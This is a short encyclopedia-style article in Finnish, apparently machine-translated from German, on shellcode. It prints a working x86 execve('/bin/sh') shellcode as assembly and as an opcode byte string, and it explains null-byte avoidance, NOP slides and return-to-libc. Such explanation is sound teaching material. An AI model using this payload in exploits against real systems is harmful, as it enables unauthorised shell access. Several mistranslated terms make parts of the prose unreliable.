Shellcode

Shellcode on ohjelmointitermi ja kuvaa lähinnä hyvin pienen kokoelman opcodeiksi muunnettuja assembler-käskyjä , joiden tarkoituksena on manipuloida ohjelmaa tai järjestelmää tai käyttää sitä muihin tarkoituksiin. Se yrittää usein aloittaa kuoren , joten nimi. Simpukakoodien alkuperä on puskurin ylivuoto ja muut koodinpistohyökkäykset, mutta niitä voidaan käyttää myös ohjelmistoissa , erityisesti tunkeutumistesteissä , kokeissa ja didaktiikassa.

Suojakoodien luominen

Shell-koodin luomiseksi suoritettava komento voidaan kirjoittaa C-muodossa ja kääntää kääntäjän kanssa . Luotu ohjelma puretaan (käännetään uudelleen) ja ohjelman toiminnot ohjelmoidaan uudelleen kokoonpanokielellä. Monet ohjeet voidaan jättää pois tai lyhentää. Monissa hyödyntämisissä shell-koodi ei saa sisältää 0 tavua, koska se merkitsee merkkijonon loppua C: ssä. Yleensä, muut esteet ovat vältettävä, esimerkiksi vain kirjaimia ja numeroita ovat sallittuja tai ylempään ja pienet kirjaimet ovat muuttuneet, tai tietyt siirtymät on noudatettava, joka voidaan saavuttaa täyttämällä enemmän tai vähemmän luovia ketjuja nolla toiminnan (ns NOP dioja ) voi olla.

Sen sijaan suorittamaan oman koodin, mikä ei aina ole mahdollista (esimerkiksi käytettäessä muistia suoja ), voit myös hypätä suoraan halutut toiminnot, jotka ovat käytettävissä, esimerkiksi itse ohjelmaan tai ladattu kirjastoon , esimerkiksi libc. Tätä menettelyä kutsutaan palautukseksi libc: ksi .

esimerkki

Paikallinen execve (/ bin / sh) -kuorikoodi

Assembler-koodi (x86-arkkitehtuuri):

void main() {
__asm__("
jmp 0x2a            # 3 bytes - springt direkt vor den String
popl %esi           # 1 byte - Adresse des Strings wird in esi geladen
movl %esi,0x8(%esi) # 3 bytes - die Adresse des Strings wird in den Speicher geschrieben
movb $0x0,0x7(%esi) # 4 bytes - der String wird nullterminiert
movl $0x0,0xc(%esi) # 7 bytes - ein nullpointer für das environment
movl $0xb,%eax      # 5 bytes - syscall-nummer in eax
movl %esi,%ebx      # 2 bytes - ebx enthält die adresse von "/bin/sh"
leal 0x8(%esi),%ecx # 3 bytes - argumente, ein pointer auf den string und ein nullpointer
leal 0xc(%esi),%edx # 3 bytes - environment
int $0x80           # 2 bytes - interrupt wird ausgelöst
movl $0x1, %eax     # 5 bytes - exit-interrupt
movl $0x0, %ebx     # 5 bytes - wird vorbereitet
int $0x80           # 2 bytes - interrupt wird ausgelöst
call -0x2f          # 5 bytes - ein call zurück, dabei wird der eip auf den Stack gepusht
.string \"/bin/sh\" # 8 bytes
");
}

Opkoodijono:

char shellcode[] =
"\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00"
"\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"
"\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff"
"\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3";

Tämä koodi ei kuitenkaan ole kovin fiksu, koska se sisältää tyhjiä tavuja ja on melko pitkä. "Ei-toivottujen merkkien" välttämiseksi käytetään usein enkoodereita, jotka mahdollistavat näiden merkkien peittämisen ja myöhemmin paljastamisen ja mahdollisesti myös pakattavat kuoren koodin. Merkkijonon osoitteen selvittämiseksi on myös muita tekniikoita kuin "jmp" tai "kutsu". Esimerkiksi on mahdollista vain /bin/shpainaa pinoa. Esp sisältää sitten osoitteen.

kirjallisuus

  • Jack Koziol: Shellcoderin käsikirja. Turva-aukkojen löytäminen ja hyödyntäminen. Wiley, Indianapolis IN 2004, ISBN 0-7645-4468-3 .
  • Jon Erickson: Kielletty koodi. mitp, Bonn 2004, ISBN 3-8266-1457-7 .

nettilinkit

Yksittäiset todisteet

  1. Lähde: phrack.org ( Memento 11. helmikuuta 2008 Internet-arkistossa )